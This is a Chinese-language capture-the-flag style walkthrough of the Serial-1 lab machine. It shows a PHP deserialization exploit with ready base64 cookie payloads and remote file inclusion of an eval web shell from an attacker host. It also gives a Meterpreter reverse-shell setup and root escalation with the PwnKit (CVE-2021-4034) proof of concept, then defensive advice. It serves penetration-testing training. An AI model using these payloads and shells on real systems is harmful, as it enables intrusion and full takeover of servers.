serial-1靶机练习
字数 1549 2025-08-11 08:36:11
Serial-1 靶机渗透测试教学文档
1. 靶机信息概述
- IP地址:192.168.142.166
- 操作系统:Ubuntu Linux (内核版本4.15-5.6)
- 开放服务:
- SSH (22/tcp) - OpenSSH 7.9p1
- HTTP (80/tcp) - Apache 2.4.38
2. 信息收集阶段
2.1 主机发现
nmap 192.168.142.0/24
发现目标主机192.168.142.166在线。
2.2 服务识别
nmap -sV -O 192.168.142.166
确认服务版本和操作系统信息。
2.3 目录扫描
使用DIRB工具扫描Web目录:
dirb http://192.168.142.166/
发现以下重要目录:
- /backup/ - 可下载备份文件
- /index.php - 主页面
- /server-status - 返回403禁止访问
3. 漏洞发现与分析
3.1 备份文件分析
访问http://192.168.142.166/backup/下载bak.zip备份文件,包含以下PHP文件:
- index.php
<?php
include("user.class.php");
if(!isset($_COOKIE['user'])) {
setcookie("user", base64_encode(serialize(new User('sk4'))));
} else {
unserialize(base64_decode($_COOKIE['user']));
}
echo "This is a beta test for new cookie handler\n";
?>
- log.class.php
<?php
class Log {
private $type_log;
function __costruct($hnd) {
$this->$type_log = $hnd;
}
public function handler($val) {
include($this->type_log);
echo "LOG: " . $val;
}
}
?>
- user.class.php
<?php
include("log.class.php");
class Welcome {
public function handler($val) {
echo "Hello " . $val;
}
}
class User {
private $name;
private $wel;
function __construct($name) {
$this->name = $name;
$this->wel = new Welcome();
}
function __destruct() {
$this->wel->handler($this->name);
}
}
?>
3.2 漏洞分析
存在PHP反序列化漏洞,攻击思路:
- 构造恶意的序列化User对象
- 使用Log对象替代User对象中的Welcome对象
- 通过Log类的handler方法实现文件包含
4. 漏洞利用
4.1 构造POC
创建本地PHP脚本生成恶意序列化数据:
<?php
class Log {
private $type_log;
function __construct($hnd) {
$this->type_log = $hnd;
}
public function handler($val) {
include($this->type_log);
echo "LOG: " . $val;
}
}
class User {
private $name;
private $wel;
function __construct($name) {
$this->name = $name;
$this->wel = new Log('/etc/passwd');
}
function __destruct() {
$this->wel->handler($this->name);
}
}
$a = base64_encode(serialize(new User('sk4')));
echo $a.'<br>';
echo base64_decode($a).'<br>';
?>
4.2 修正序列化数据
由于自动生成的序列化数据存在问题,手动构造正确的序列化字符串:
O:4:"User":2:{s:10:"\x00User\x00name";s:3:"sk4";s:9:"\x00User\x00wel";O:3:"Log":1:{s:13:"\x00Log\x00type_log";s:11:"/etc/passwd";}}
使用Python进行Base64编码:
import base64
s = 'O:4:"User":2:{s:10:"\x00User\x00name";s:3:"sk4";s:9:"\x00User\x00wel";O:3:"Log":1:{s:13:"\x00Log\x00type_log";s:11:"/etc/passwd";}}'
print(base64.b64encode(s.encode()))
得到有效载荷:
Tzo0OiJVc2VyIjoyOntzOjEwOiIAVXNlcgBuYW1lIjtzOjM6InNrNCI7czo5OiIAVXNlcgB3ZWwiO086MzoiTG9nIjoxOntzOjEzOiIATG9nAHR5cGVfbG9nIjtzOjExOiIvZXRjL3Bhc3N3ZCI7fX0=
4.3 实施攻击
-
使用Burp Suite或浏览器开发者工具修改Cookie:
- 将
userCookie值替换为生成的Base64编码
- 将
-
访问目标网站,成功包含
/etc/passwd文件
5. 获取Shell
5.1 远程文件包含
假设目标服务器配置了allow_url_include,构造包含远程文件的Payload:
import base64
s = 'O:4:"User":2:{s:10:"\x00User\x00name";s:3:"sk4";s:9:"\x00User\x00wel";O:3:"Log":1:{s:13:"\x00Log\x00type_log";s:32:"http://192.168.142.131/shell.txt";}}'
print(base64.b64encode(s.encode()))
得到:
Tzo0OiJVc2VyIjoyOntzOjEwOiIAVXNlcgBuYW1lIjtzOjM6InNrNCI7czo5OiIAVXNlcgB3ZWwiO086MzoiTG9nIjoxOntzOjEzOiIATG9nAHR5cGVfbG9nIjtzOjMyOiJodHRwOi8vMTkyLjE2OC4xNDIuMTMxL3NoZWxsLnR4dCI7fX0=
5.2 准备Web Shell
在攻击机(192.168.142.131)上创建shell.txt:
<?php eval($_REQUEST[pass]);?>
启动Python HTTP服务器:
python3 -m http.server 80
5.3 执行攻击
- 替换Cookie值为新生成的Base64编码
- 访问目标网站并附加参数:
http://192.168.142.166/index.php?pass=phpinfo(); - 确认成功执行PHP代码
5.4 获取稳定Shell
-
使用msfvenom生成Linux反向Shell:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<攻击机IP> LPORT=4444 -f elf > shell.elf -
通过Web Shell上传并执行
-
在攻击机启动Metasploit监听:
msfconsole use exploit/multi/handler set PAYLOAD linux/x86/meterpreter/reverse_tcp set LHOST <攻击机IP> set LPORT 4444 exploit
6. 权限提升
6.1 初步检查
-
检查SUID文件:
find / -perm -u=s -type f 2>/dev/null -
检查定时任务:
cat /etc/crontab
6.2 使用Linux提权辅助工具
下载并运行linux-exploit-suggester:
./linux-exploit-suggester.sh
输出显示可能利用的漏洞:
- CVE-2021-4034 (PwnKit)
- CVE-2021-3156 (sudo Baron Samedit)
- CVE-2022-32250 (nft_object UAF)
- CVE-2022-2586 (nft_object UAF)
- CVE-2021-22555 (Netfilter heap out-of-bounds write)
6.3 利用CVE-2021-4034提权
-
下载exp:
wget https://codeload.github.com/berdav/CVE-2021-4034/zip/main -
编译并运行:
gcc ./cve-2021-4034-poc.c -o cve-2021-4034-poc ./cve-2021-4034-poc -
确认提权成功:
id输出应为:
uid=0(root) gid=0(root) groups=0(root),33(www-data)
7. 总结
本次渗透测试的关键点:
- 通过目录扫描发现备份文件
- 分析PHP代码发现反序列化漏洞
- 构造恶意序列化对象实现文件包含
- 通过文件包含获取Web Shell
- 使用内核漏洞(CVE-2021-4034)提权
防护建议:
- 避免在Cookie中存储序列化对象
- 及时更新系统和软件补丁
- 禁用不必要的PHP危险函数(如unserialize)
- 配置适当的文件权限
- 关闭不必要的服务功能(如allow_url_include)